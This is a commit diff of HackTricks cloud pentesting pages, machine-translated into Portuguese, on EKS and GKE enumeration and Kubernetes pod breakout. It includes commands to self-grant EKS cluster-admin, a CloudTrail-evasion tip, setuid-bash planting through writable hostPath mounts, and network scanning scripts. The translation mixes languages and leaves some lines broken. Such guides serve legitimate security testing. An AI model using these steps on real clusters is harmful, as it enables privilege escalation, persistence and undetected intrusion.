mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/pentesting-kub
This commit is contained in:
+28
-28
@@ -4,7 +4,7 @@
|
||||
|
||||
## EKS
|
||||
|
||||
Para mais informações, confira
|
||||
Para mais informações, consulte
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
@@ -12,7 +12,7 @@ Para mais informações, confira
|
||||
|
||||
### Enumerate the cluster from the AWS Console
|
||||
|
||||
Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **ver objetos Kubernetes** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
Se você tiver a permissão **`eks:AccessKubernetesApi`** você pode **ver Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
|
||||
|
||||
### Connect to AWS Kubernetes Cluster
|
||||
|
||||
@@ -21,11 +21,11 @@ Se você tiver a permissão **`eks:AccessKubernetesApi`**, você pode **ver obje
|
||||
# Generate kubeconfig
|
||||
aws eks update-kubeconfig --name aws-eks-dev
|
||||
```
|
||||
- Não tão fácil assim:
|
||||
- Não é tão fácil assim:
|
||||
|
||||
Se você conseguir **obter um token** com **`aws eks get-token --name <cluster_name>`**, mas não tiver permissões para obter informações do cluster (describeCluster), você poderia **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa da **url endpoint para conectar-se** (se você conseguiu obter um JWT token de um pod, leia [aqui](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**.
|
||||
Se você consegue **obter um token** com **`aws eks get-token --name <cluster_name>`** mas não tem permissões para obter informações do cluster (describeCluster), você poderia **preparar seu próprio `~/.kube/config`**. No entanto, tendo o token, você ainda precisa do **endpoint url para se conectar** (se você conseguiu obter um token JWT de um pod, leia [aqui](aws-eks-post-exploitation/README.md#get-api-server-endpoint-from-a-jwt-token)) e o **nome do cluster**.
|
||||
|
||||
No meu caso, não encontrei as informações nos logs do CloudWatch, mas **encontrei em LaunchTemaplates userData** e também em **máquinas EC2 em userData**. Você pode ver essas informações em **userData** facilmente, por exemplo, no próximo exemplo (o nome do cluster era cluster-name):
|
||||
No meu caso, eu não encontrei a informação nos logs do CloudWatch, mas eu **encontrei em LaunchTemaplates userData** e também em **máquinas EC2 em userData**. Você pode ver essa informação em **userData** facilmente, por exemplo no próximo exemplo (o nome do cluster era cluster-name):
|
||||
```bash
|
||||
API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
|
||||
|
||||
@@ -70,36 +70,36 @@ provideClusterInfo: false
|
||||
```
|
||||
</details>
|
||||
|
||||
### De AWS para Kubernetes
|
||||
### From AWS to Kubernetes
|
||||
|
||||
O **creator** do **EKS cluster** **SEMPRE** vai conseguir entrar na parte do kubernetes cluster do grupo **`system:masters`** (k8s admin). No momento em que este texto foi escrito, **não há uma forma direta** de descobrir **quem criou** o cluster (você pode verificar o CloudTrail). E **não há forma** de **remover** esse **privilege**.
|
||||
Historically, the **creator** of an **EKS cluster** received hidden Kubernetes admin access that was not visible in `aws-auth`. In current EKS clusters, this depends on the cluster access configuration. `bootstrapClusterCreatorAdminPermissions` controls whether the creator is added as a cluster-admin access entry during creation, and EKS access entries make that admin path visible and revocable through the EKS API. Older clusters or clusters that still rely on `aws-auth` might still have legacy creator behavior, so confirm the `accessConfig`, list access entries, and review CloudTrail instead of assuming the creator always has unremovable `system:masters`.
|
||||
|
||||
#### Abusing configmap
|
||||
|
||||
A forma tradicional de conceder **access to over K8s to more AWS IAM users or roles** é usando o **configmap** **`aws-auth`**.
|
||||
The traditional way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**.
|
||||
|
||||
> [!WARNING]
|
||||
> Portanto, qualquer pessoa com **write access** sobre o config map **`aws-auth`** conseguirá **compromise the whole cluster**.
|
||||
> Portanto, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
|
||||
|
||||
Para mais informações sobre como **grant extra privileges to IAM roles & users** na **same or different account** e como **abuse** isso para [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/index.html#aws-eks-aws-auth-configmaps).
|
||||
|
||||
Veja também[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
|
||||
|
||||
#### Abusing Access Entries
|
||||
|
||||
AWS implementes uma forma adicional de conceder a usuários IAM access ao Kubernetes cluster por meio de access entries. Se você tiver as permissões `eks:CreateAccessEntry` e `eks:AssociateAccessPolicy`, você também pode conseguir atribuir um Kubernetes administrator role ao seu usuário ou a um rol específico.
|
||||
AWS implements an additional way to grant IAM users access to the Kubernetes cluster through access entries. If you have the `eks:CreateAccessEntry` and `eks:AssociateAccessPolicy` permissions, you may also be able to assign a Kubernetes administrator role to either your user or a specific role.
|
||||
|
||||
Primeiro, **create an access entry for your user or role**:
|
||||
First, **create an access entry for your user or role**:
|
||||
```
|
||||
aws eks create-access-entry --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --type STANDARD
|
||||
```
|
||||
Com essa entrada criada, você talvez consiga atribuir uma policy diretamente a ela. Existe uma policy integrada do AWS chamada *AmazonEKSClusterAdminPolicy* que pode ser usada diretamente. Tenha em mente que, se o seu ambiente tiver outras custom policies que também concedam privilégios elevados no EKS, você pode alterar o `--policy-arn` para qualquer uma delas:
|
||||
Com essa entrada criada, agora você pode atribuir uma policy diretamente a ela. Há uma policy interna do aws chamada *AmazonEKSClusterAdminPolicy* que pode ser usada diretamente. Tenha em mente que, se o seu ambiente tiver outras custom policies que também concedam privilégios elevados no EKS, você pode alterar o `--policy-arn` para qualquer uma delas:
|
||||
```
|
||||
aws eks associate-access-policy --cluster-name <cluster_name> --region <region> --principal-arn <arn_from_your_user_or_role> --policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy --access-scope type=cluster
|
||||
```
|
||||
Você pode pesquisar esta policy na documentação oficial do AWS [**aqui**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
|
||||
Você pode pesquisar esta policy na documentação oficial da AWS [**aqui**](https://docs.aws.amazon.com/eks/latest/userguide/access-policy-permissions.html#access-policy-permissions-amazoneksclusteradminpolicy)
|
||||
|
||||
A partir deste ponto, agora você pode ser capaz de solicitar um token *k8s* e interagir com o cluster como um administrador:
|
||||
A partir deste ponto, agora você pode conseguir solicitar um token *k8s* e interagir com o cluster como administrador:
|
||||
```
|
||||
aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.token'
|
||||
```
|
||||
@@ -107,18 +107,18 @@ aws eks get-token --cluster-name <cluster_name> --output json | jq -r '.status.t
|
||||
|
||||
É possível permitir uma **autenticação OpenID para kubernetes service account** para que elas possam assumir roles em AWS. Aprenda como [**isso funciona nesta página**](../../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
|
||||
|
||||
### GET Api Server Endpoint from a JWT Token
|
||||
### Obter o Endpoint do Api Server a partir de um JWT Token
|
||||
|
||||
Ao decodificar o token JWT, obtemos o cluster id e também a region.  Sabendo que o formato padrão para a URL do EKS é
|
||||
Ao decodificar o JWT token, obtemos o id do cluster e também a região.  Sabendo que o formato padrão para a url do EKS é
|
||||
```bash
|
||||
https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
|
||||
```
|
||||
Não encontrei nenhuma documentação que explique os critérios para os 'two chars' e o 'number'. Mas, fazendo alguns testes por conta própria, vejo estes recorrentes:
|
||||
Não encontrei nenhuma documentação que explique os critérios para o 'two chars' e o 'number'. Mas, fazendo alguns testes por conta própria, vi que estes se repetem:
|
||||
|
||||
- gr7
|
||||
- yl4
|
||||
|
||||
De qualquer forma, são apenas 3 chars; podemos bruteforceá-los. Use o script abaixo para gerar a lista
|
||||
De qualquer forma, são apenas 3 chars, então podemos bruteforceá-los. Use o script abaixo para gerar a lista
|
||||
```python
|
||||
from itertools import product
|
||||
from string import ascii_lowercase
|
||||
@@ -134,30 +134,30 @@ for comb in product(letter_combinations, number_combinations)
|
||||
with open('out.txt', 'w') as f:
|
||||
f.write('\n'.join(result))
|
||||
```
|
||||
Então, com wfuzz
|
||||
Então com wfuzz
|
||||
```bash
|
||||
wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
|
||||
```
|
||||
> [!WARNING]
|
||||
> Lembre-se de substituir & .
|
||||
> Remember to replace & .
|
||||
|
||||
### Bypass CloudTrail
|
||||
|
||||
Se um atacante obtiver credenciais de uma AWS com **permissão sobre um EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a AWS API (ele apenas cria o token localmente).
|
||||
Se um atacante obtiver credenciais de uma AWS com **permission over an EKS**. Se o atacante configurar seu próprio **`kubeconfig`** (sem chamar **`update-kubeconfig`**) como explicado anteriormente, o **`get-token`** não gera logs no Cloudtrail porque não interage com a AWS API (ele apenas cria o token localmente).
|
||||
|
||||
Então, quando o atacante falar com o cluster EKS, **cloudtrail não vai registrar nada relacionado ao usuário sendo roubado e acessando-o**.
|
||||
Então, quando o atacante se comunica com o cluster EKS, **cloudtrail won't log anything related to the user being stolen and accessing it**.
|
||||
|
||||
Note que o **cluster EKS pode ter logs habilitados** que registrarão esse acesso (embora, por padrão, eles estejam desabilitados).
|
||||
Note que o **EKS cluster might have logs enabled** que registrarão esse acesso (embora, por padrão, eles estejam desabilitados).
|
||||
|
||||
### EKS Ransom?
|
||||
|
||||
Por padrão, o **usuário ou role que criou** um cluster **SEMPRE** terá privilégios de admin sobre o cluster. E esse é o único acesso "seguro" que a AWS terá sobre o cluster Kubernetes.
|
||||
Por padrão, o **user or role that created** um cluster **ALWAYS is going to have admin privileges** sobre o cluster. E esse é o único acesso "secure" que a AWS terá sobre o Kubernetes cluster.
|
||||
|
||||
Então, se um **atacante comprometer um cluster usando fargate** e **remover todos os outros admins** e **deletar o usuário/role da AWS que criou** o Cluster, ~~o atacante poderia ter **ransomado o cluste**~~**r**.
|
||||
Então, se um **attacker compromises a cluster using fargate** e **remove all the other admins** e **deletes the AWS user/role that created** o Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
|
||||
|
||||
> [!TIP]
|
||||
> Note que, se o cluster estivesse usando **EC2 VMs**, poderia ser possível obter privilégios de Admin a partir do **Node** e recuperar o cluster.
|
||||
>
|
||||
> Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover tudo para EC2 no cluster e recuperá-lo acessando os tokens no node.
|
||||
> Na verdade, se o cluster estiver usando Fargate, você poderia EC2 nodes ou mover everything to EC2 to the cluster and recover it accessing the tokens in the node.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+32
-18
@@ -24,7 +24,7 @@ sudo docker pull HOSTNAME/<project-name>/<image-name>
|
||||
```
|
||||
### Privesc
|
||||
|
||||
Na página a seguir você pode verificar como **abusar das permissões do container para escalar privilégios**:
|
||||
Na página a seguir você pode ver como **abuse container permissions to escalate privileges**:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-container-privesc.md
|
||||
@@ -32,7 +32,7 @@ Na página a seguir você pode verificar como **abusar das permissões do contai
|
||||
|
||||
## Node Pools
|
||||
|
||||
Estes são o pool de máquinas (nodes) que formam os clusters kubernetes.
|
||||
Estes são o pool de machines (nodes) que formam os kubernetes clusters.
|
||||
```bash
|
||||
# Pool of machines used by the cluster
|
||||
gcloud container node-pools list --zone <zone> --cluster <cluster>
|
||||
@@ -40,35 +40,35 @@ gcloud container node-pools describe --cluster <cluster> --zone <zone> <node-poo
|
||||
```
|
||||
## Kubernetes
|
||||
|
||||
Para informações sobre o que é Kubernetes, confira esta página:
|
||||
Para obter informações sobre o que é Kubernetes, consulte esta página:
|
||||
|
||||
{{#ref}}
|
||||
../../kubernetes-security/
|
||||
{{#endref}}
|
||||
|
||||
Primeiro, você pode verificar se existem clusters Kubernetes no seu projeto.
|
||||
Primeiro, você pode verificar se existem clusters Kubernetes em seu projeto.
|
||||
```
|
||||
gcloud container clusters list
|
||||
```
|
||||
Se você tiver um cluster, você pode fazer com que o `gcloud` configure automaticamente seu arquivo `~/.kube/config`. Esse arquivo é usado para autenticar você quando usa [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), a CLI nativa para interagir com clusters K8s. Tente este comando.
|
||||
Se você tiver um cluster, você pode fazer o `gcloud` configurar automaticamente seu arquivo `~/.kube/config`. Esse arquivo é usado para autenticar você quando usa [kubectl](https://kubernetes.io/docs/reference/kubectl/overview/), o CLI nativo para interagir com clusters K8s. Tente este comando.
|
||||
```
|
||||
gcloud container clusters get-credentials [CLUSTER NAME] --region [REGION]
|
||||
```
|
||||
Então, dê uma olhada no arquivo `~/.kube/config` para ver as credenciais geradas. Esse arquivo será usado para atualizar automaticamente os access tokens com base na mesma identidade que sua sessão ativa do `gcloud` está usando. Isso, é claro, requer que as permissões corretas estejam em vigor.
|
||||
Então, dê uma olhada no arquivo `~/.kube/config` para ver as credenciais geradas. Esse arquivo será usado para atualizar automaticamente os access tokens com base na mesma identidade que sua sessão ativa do `gcloud` está usando. Isso, claro, exige que as permissões corretas estejam em vigor.
|
||||
|
||||
Depois que isso estiver configurado, você pode tentar o seguinte comando para obter a configuração do cluster.
|
||||
```
|
||||
kubectl cluster-info
|
||||
```
|
||||
Você pode ler mais sobre `gcloud` para containers [aqui](https://cloud.google.com/sdk/gcloud/reference/container/).
|
||||
Você pode ler mais sobre `gcloud` para containers [here](https://cloud.google.com/sdk/gcloud/reference/container/).
|
||||
|
||||
Este é um script simples para enumerar kubernetes em GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
Este é um script simples para enumerar kubernetes no GCP: [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_k8s_enum)
|
||||
|
||||
### Current GKE identity and metadata checks
|
||||
|
||||
Ao revisar clusters modernos do GKE, separe permissões do Google Cloud IAM, Kubernetes RBAC, pod workload identity e credenciais de node. Um principal do Google geralmente pode recuperar dados do endpoint do cluster com `container.clusters.get`, mas as requisições Kubernetes resultantes ainda precisam passar pela autorização do GKE/Kubernetes e por quaisquer restrições de rede, como private endpoints ou authorized networks.
|
||||
Ao revisar clusters GKE modernos, separe as permissões Google Cloud IAM, Kubernetes RBAC, identidade de workload do pod e credenciais do node. Um principal Google muitas vezes pode recuperar dados do endpoint do cluster com `container.clusters.get`, mas as requisições Kubernetes resultantes ainda precisam passar pela autorização GKE/Kubernetes e por quaisquer restrições de rede, como private endpoints ou authorized networks.
|
||||
|
||||
Workload Identity Federation for GKE é a forma preferida para pods acessarem Google Cloud APIs. Verifique se o cluster tem um workload pool e se as Kubernetes service accounts estão mapeadas diretamente como IAM principals ou se podem impersonate IAM service accounts:
|
||||
Workload Identity Federation for GKE é a forma preferida para pods acessarem Google Cloud APIs. Verifique se o cluster tem um workload pool e se as contas de serviço do Kubernetes são mapeadas diretamente como principals IAM ou se podem impersonate contas de serviço IAM:
|
||||
```bash
|
||||
gcloud container clusters describe <cluster> --region <region> \
|
||||
--format='value(workloadIdentityConfig.workloadPool)'
|
||||
@@ -76,15 +76,29 @@ gcloud container clusters describe <cluster> --region <region> \
|
||||
kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8
|
||||
kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName'
|
||||
```
|
||||
Se uma service account tiver a anotação `iam.gke.io/gcp-service-account`, revise a policy da service account do IAM para concessões de `roles/iam.workloadIdentityUser` a principais de Kubernetes service account. Também verifique as IAM allow policies para direct workload identity principals ou broad principal sets.
|
||||
Se uma service account tiver a anotação `iam.gke.io/gcp-service-account`, revise a IAM service account policy para concessões `roles/iam.workloadIdentityUser` a principals de Kubernetes service account. Também verifique IAM allow policies para principals diretos de workload identity ou concessões amplas `principalSet://`, como acesso de workload em nível de namespace ou cluster. A anotação `iam.gke.io/credential-quota-project` apenas move a quota da IAM Service Account Credentials API para outro project; o principal do workload ainda precisa de `serviceusage.services.use` nesse quota project e de acesso IAM separado ao resource de destino.
|
||||
|
||||
O acesso aos metadata depende do modo do cluster, da configuração do node pool e das definições do workload. Não assuma que todo pod pode roubar a node service account. Em ambientes com Workload Identity habilitado, pods normais devem usar o GKE metadata server para obter a workload identity destinada à sua Kubernetes service account. Comprometimento do node, pods `hostNetwork` em algumas configurações Standard e exposição legada de metadata do node ainda podem alterar o blast radius, então verifique o modo real de metadata do node pool, a node service account, os OAuth scopes e o posicionamento do pod.
|
||||
O acesso aos metadata depende do modo do cluster, da configuração do node pool e das configurações do workload. Não assuma que todo pod pode roubar a node service account. Em ambientes com Workload Identity habilitado, pods comuns devem usar o GKE metadata server para obter a workload identity destinada à sua Kubernetes service account. Comprometimento do node, pods `hostNetwork` em algumas configurações Standard e exposição legada de node metadata ainda podem mudar o blast radius, então verifique o modo real de metadata do node pool, a node service account, os OAuth scopes e o posicionamento do pod.
|
||||
|
||||
Se um pod com Workload Identity habilitado não conseguir obter um token, também verifique o NetworkPolicy egress antes de assumir que o IAM binding está errado. Clusters GKE Standard que usam NetworkPolicy devem permitir o caminho do metadata-server exigido pela versão do cluster e pelo dataplane, e o Dataplane V2 usa o caminho `169.254.169.254` para acesso ao metadata-server.
|
||||
|
||||
### Autopilot privileged workload allowlists
|
||||
|
||||
GKE Autopilot bloqueia a maioria dos privileged workloads por padrão, mas exceções aprovadas podem existir. Revise as configurações de privileged admission, objetos `AllowlistSynchronizer` e objetos `WorkloadAllowlist` instalados antes de assumir que um pod privilegiado é impossível:
|
||||
```bash
|
||||
gcloud container clusters describe <cluster> --region <region> \
|
||||
--format='yaml(autopilot,privilegedAdmissionConfig,clusterPolicyConfig)'
|
||||
|
||||
kubectl get allowlistsynchronizers.auto.gke.io -A -o yaml
|
||||
kubectl get workloadallowlists.auto.gke.io -A -o yaml
|
||||
```
|
||||
Allowlist paths can be GKE-owned (`gke://...`) or customer-owned Cloud Storage paths (`gs://...`). Wildcards and broad bucket paths increase the blast radius because future allowlist files under that path might become valid for the cluster. When a `WorkloadAllowlist` is installed, compare its exemptions and matching criteria to the pod spec, especially image digests, host namespaces, writable hostPath mounts, host ports, Linux capabilities, and whether `autopilot.gke.io/no-connect` prevents `exec` access to the privileged workload.
|
||||
|
||||
### TLS Boostrap Privilege Escalation
|
||||
|
||||
Inicialmente, esta técnica de privilege escalation permitia **privesc dentro do GKE cluster**, permitindo efetivamente que um atacante **o comprometesse totalmente**.
|
||||
Inicialmente, esta técnica de privilege escalation permitia **privesc dentro do cluster GKE**, permitindo a um atacante **comprometê-lo totalmente**.
|
||||
|
||||
Isso ocorre porque o GKE fornece [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) nos metadata, que são **acessíveis por qualquer pessoa apenas comprometendo um pod**.
|
||||
Isso acontece porque o GKE fornece [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) nos metadata, que estão **acessíveis por qualquer pessoa apenas comprometendo um pod**.
|
||||
|
||||
A técnica usada é explicada nos seguintes posts:
|
||||
|
||||
@@ -94,15 +108,15 @@ A técnica usada é explicada nos seguintes posts:
|
||||
|
||||
E esta tool foi criada para automatizar o processo: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein)
|
||||
|
||||
No entanto, a técnica abusava do fato de que **com as metadata credentials** era possível **gerar um CSR** (Certificate Signing Request) para um **novo node**, que era **automaticamente aprovado**.\
|
||||
No meu teste, verifiquei que **esses requests não são mais aprovados automaticamente**, então não tenho certeza se essa técnica ainda é válida.
|
||||
No entanto, a técnica abusava do fato de que **com as metadata credentials** era possível **gerar um CSR** (Certificate Signing Request) para um **novo node**, que era **automaticamente approved**.\
|
||||
No meu teste, verifiquei que **esses requests já não são automaticamente approved**, então não tenho certeza se esta técnica ainda é válida.
|
||||
|
||||
### Secrets in Kubelet API <a href="#the-kubelet-api-git-secrets-redux" id="the-kubelet-api-git-secrets-redux"></a>
|
||||
|
||||
Em [**este post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) foi descoberto foi descoberto um endereço da Kubelet API acessível de dentro de um pod no GKE, fornecendo os detalhes dos pods em execução:
|
||||
Em [**this post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) foi descoberto um endereço da Kubelet API accesible de dentro de um pod no GKE, revelando os detalhes dos pods em execução:
|
||||
```
|
||||
curl -v -k http://10.124.200.1:10255/pods
|
||||
```
|
||||
Mesmo que a API **não permita modificar resources**, ainda pode ser possível encontrar **sensitive information** na resposta. O endpoint /pods foi encontrado usando [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
Mesmo que a API **não permita modificar recursos**, pode ser possível encontrar **informações sensíveis** na resposta. O endpoint /pods foi encontrado usando [**Kiterunner**](https://github.com/assetnote/kiterunner).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+61
-55
@@ -4,19 +4,19 @@
|
||||
|
||||
## **Pod Breakout**
|
||||
|
||||
**Se tiver sorte, você pode conseguir escapar dele para o node:**
|
||||
**Se tiver sorte, você pode conseguir escapar para o node:**
|
||||
|
||||

|
||||
|
||||
### Escaping from the pod
|
||||
|
||||
Para tentar escapar dos pods, você pode precisar primeiro **escalate privileges**. Algumas técnicas para isso:
|
||||
Para tentar escapar dos pods, você pode precisar **escalar privilégios** primeiro; algumas técnicas para isso:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
Você pode verificar estes **docker breakouts to try to escape** de um pod que você comprometeu:
|
||||
Você pode verificar esses **docker breakouts to try to escape** de um pod que tenha comprometido:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
@@ -24,16 +24,16 @@ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-secu
|
||||
|
||||
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
|
||||
|
||||
Se um pod/container comprometido tiver um volume gravável que mapeia diretamente para o filesystem do host (Kubernetes hostPath ou Docker bind mount), e você conseguir virar root dentro do container, você pode aproveitar o mount para criar um binary setuid-root no host e depois executá-lo a partir do host para obter root.
|
||||
Se um pod/container comprometido tiver um volume gravável que mapeia diretamente para o filesystem do host (Kubernetes hostPath ou Docker bind mount), e você conseguir virar root dentro do container, você pode aproveitar o mount para criar um binário setuid-root no host e então executá-lo a partir do host para obter root.
|
||||
|
||||
Condições principais:
|
||||
- O volume montado é gravável de dentro do container (readOnly: false e as permissões do filesystem permitem escrita).
|
||||
- O filesystem do host por trás do mount não está montado com a opção nosuid.
|
||||
- Você tem alguma forma de executar o binary implantado no host (por exemplo, SSH/RCE separado no host, um usuário no host pode executá-lo, ou outro vetor que execute binaries desse caminho).
|
||||
- O filesystem do host que sustenta o mount não está montado com a opção nosuid.
|
||||
- Você tem alguma forma de executar o binário implantado no host (por exemplo, SSH/RCE separado no host, um usuário no host pode executá-lo, ou outro vetor que execute binários a partir desse caminho).
|
||||
|
||||
Como identificar writable hostPath/bind mounts:
|
||||
Como identificar hostPath/bind mounts graváveis:
|
||||
- Com kubectl, verifique volumes hostPath: kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- De dentro do container, liste os mounts e procure por host-path mounts e teste a capacidade de escrita:
|
||||
- De dentro do container, liste os mounts e procure por host-path mounts e teste a gravabilidade:
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
@@ -62,9 +62,9 @@ ls -l /opt/limesurvey/suidbash
|
||||
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
|
||||
```
|
||||
Notas e troubleshooting:
|
||||
- Se o host mount tiver nosuid, os bits setuid serão ignorados. Verifique as opções de mount no host (cat /proc/mounts | grep <mountpoint>) e procure por nosuid.
|
||||
- Se você não conseguir obter um host execution path, mounts graváveis semelhantes podem ser abusados para escrever outros persistence/priv-esc artifacts no host se o diretório mapeado for security-critical (por exemplo, adicione uma chave SSH de root se o mount mapear para /root/.ssh, drope uma unidade cron/systemd se mapear para /etc, substitua um binary pertencente a root no PATH que o host vai executar, etc.). A viabilidade depende inteiramente de qual path está montado.
|
||||
- Essa technique também funciona com plain Docker bind mounts; em Kubernetes, normalmente é um hostPath volume (readOnly: false) ou um subPath com escopo incorreto.
|
||||
- Se o host mount tiver nosuid, os bits setuid serão ignorados. Verifique as mount options no host (cat /proc/mounts | grep <mountpoint>) e procure por nosuid.
|
||||
- Se você não conseguir obter um host execution path, mounts graváveis semelhantes podem ser abusados para escrever outros persistence/priv-esc artifacts no host se o diretório mapeado for security-critical (por exemplo, adicione uma root SSH key se o mount mapear para /root/.ssh, solte um cron/systemd unit se mapear para /etc, substitua um binary pertencente a root em PATH que o host executará, etc.). A viabilidade depende totalmente de qual path está montado.
|
||||
- Esta technique também funciona com plain Docker bind mounts; em Kubernetes, normalmente é um hostPath volume (readOnly: false) ou um subPath com escopo incorreto.
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
|
||||
@@ -74,7 +74,7 @@ Como explicado na seção sobre **kubernetes enumeration**:
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
Geralmente os pods são executados com um **service account token** dentro deles. Essa service account pode ter alguns **privileges attached to it** que você poderia **abuse** para **move** para outros pods ou até mesmo **escape** para os nodes configurados dentro do cluster. Veja como em:
|
||||
Geralmente os pods são executados com um **service account token** dentro deles. Essa service account pode ter algumas **privileges attached to it** que você pode **abuse** para **move** para outros pods ou até mesmo para **escape** para os nodes configurados dentro do cluster. Veja como em:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
@@ -82,7 +82,7 @@ abusing-roles-clusterroles-in-kubernetes/
|
||||
|
||||
### Abusing Cloud Privileges
|
||||
|
||||
Se o pod estiver sendo executado em um **cloud environment** você pode conseguir l**eak a token from the metadata endpoint** e escalar privilégios usando-o.
|
||||
Se o pod estiver sendo executado dentro de um **cloud environment**, você pode conseguir l**eak a token from the metadata endpoint** e escalar privilégios usando isso.
|
||||
|
||||
## Search vulnerable network services
|
||||
|
||||
@@ -90,15 +90,15 @@ Como você está dentro do ambiente Kubernetes, se não conseguir escalar privil
|
||||
|
||||
### Services
|
||||
|
||||
**For this purpose, you can try to get all the services of the kubernetes environment:**
|
||||
**Para este propósito, você pode tentar obter todos os services do ambiente kubernetes:**
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
Por padrão, Kubernetes usa um esquema de rede plano, o que significa que **qualquer pod/service dentro do cluster pode se comunicar com outros**. Os **namespaces** dentro do cluster **não têm nenhuma restrição de segurança de rede por padrão**. Qualquer pessoa no namespace pode se comunicar com outros namespaces.
|
||||
Por padrão, o Kubernetes usa um esquema de rede plano, o que significa que **qualquer pod/service dentro do cluster pode falar com outro**. Os **namespaces** dentro do cluster **não têm nenhuma restrição de segurança de rede por padrão**. Qualquer pessoa no namespace pode falar com outros namespaces.
|
||||
|
||||
### Scanning
|
||||
|
||||
O seguinte script Bash (retirado de um [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) vai instalar e fazer scanning dos intervalos de IP do cluster de kubernetes:
|
||||
O seguinte script Bash (retirado de um [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) instalará e fará scan dos intervalos de IP do cluster do kubernetes:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nmap
|
||||
@@ -117,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
|
||||
}
|
||||
nmap-kube-discover
|
||||
```
|
||||
Confira a seguinte página para aprender como você poderia **attack Kubernetes specific services** para **compromise other pods/all the environment**:
|
||||
Confira a seguinte página para aprender como você poderia **atacar serviços específicos do Kubernetes** para **comprometer outros pods/todo o ambiente**:
|
||||
|
||||
{{#ref}}
|
||||
pentesting-kubernetes-services/
|
||||
@@ -125,12 +125,12 @@ pentesting-kubernetes-services/
|
||||
|
||||
### Sniffing
|
||||
|
||||
No caso de o **compromised pod estar executando algum serviço sensível** no qual outros pods precisam se autenticar, você pode conseguir obter as credenciais enviadas pelos outros pods **sniffing local communications**.
|
||||
